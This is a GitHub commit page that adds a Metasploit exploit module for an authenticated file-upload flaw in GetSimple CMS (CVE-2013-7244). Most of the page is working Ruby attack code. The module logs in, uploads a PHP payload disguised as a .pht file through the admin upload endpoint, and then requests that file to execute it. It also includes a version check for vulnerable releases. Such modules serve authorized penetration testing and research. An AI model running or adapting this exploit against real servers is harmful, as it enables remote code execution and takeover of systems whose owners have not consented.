Skip to content

Commit 7afbec9

Browse files
committed
Land rapid7#2890, @Ahmed-Elhady-Mohamed module for OSVDB 93034
2 parents b16085b + 1fa5c8c commit 7afbec9

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability found in GetSimple CMS
20+
By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload
21+
directory, which results in arbitrary code execution.
22+
},
23+
'Author' =>
24+
[
25+
'Ahmed Elhady Mohamed'
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['CVE', '2013-7244'],
31+
['OSVDB', '93034']
32+
],
33+
'Payload' =>
34+
{
35+
'BadChars' => "\x00",
36+
},
37+
'Platform' => 'php',
38+
'Arch' => ARCH_PHP,
39+
'Targets' =>
40+
[
41+
['Generic (PHP Payload)', {}]
42+
],
43+
'DefaultTarget' => 0,
44+
'DisclosureDate' => 'Jan 04 2014'
45+
))
46+
47+
register_options([
48+
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']),
49+
OptString.new('USERNAME', [true, 'The username that will be used for authentication process']),
50+
OptString.new('PASSWORD', [true, 'The right password for the provided username'])
51+
], self.class)
52+
end
53+
54+
def send_request_auth
55+
res = send_request_cgi({
56+
'method' => 'POST',
57+
'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"),
58+
'vars_post' => {
59+
'userid' => "#{datastore['USERNAME']}",
60+
'pwd' => "#{datastore['PASSWORD']}",
61+
'submitted' => 'Login'
62+
}
63+
})
64+
65+
res
66+
end
67+
68+
def send_request_upload(payload_name, cookie_http_header)
69+
data = Rex::MIME::Message.new
70+
data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
71+
data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")
72+
73+
data_post = data.to_s
74+
75+
res = send_request_cgi({
76+
'method' => 'POST',
77+
'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"),
78+
'vars_get' => { 'path' =>'' },
79+
'cookie' => cookie_http_header,
80+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
81+
'data' => data_post
82+
})
83+
84+
res
85+
end
86+
87+
def check
88+
res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})
89+
90+
if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
91+
version = $1
92+
else
93+
return Exploit::CheckCode::Unknown
94+
end
95+
96+
print_status("#{peer} - Version #{version} found")
97+
98+
if Gem::Version.new(version) <= Gem::Version.new('3.1.2')
99+
return Exploit::CheckCode::Appears
100+
end
101+
102+
Exploit::CheckCode::Safe
103+
end
104+
105+
def exploit
106+
print_status("#{peer} - Authenticating...")
107+
res = send_request_auth
108+
109+
if res && res.code == 302
110+
print_status("#{peer} - The authentication process is done successfully!")
111+
else
112+
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
113+
end
114+
115+
print_status("#{peer} - Extracting Cookies Information...")
116+
cookie = res.get_cookies
117+
if cookie.blank?
118+
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
119+
end
120+
121+
print_status("#{peer} - Uploading payload...")
122+
payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht'
123+
res = send_request_upload(payload_name, cookie)
124+
125+
if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
126+
upload_path = $1
127+
print_good("#{peer} - File uploaded to #{upload_path}")
128+
register_file_for_cleanup(payload_name)
129+
else
130+
fail_with(Failure::Unknown, "#{peer} - Upload failed")
131+
end
132+
133+
print_status("#{peer} - Executing payload...")
134+
send_request_raw({
135+
'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name),
136+
'method' => 'GET'
137+
}, 5)
138+
end
139+
140+
end

0 commit comments

Comments
 (0)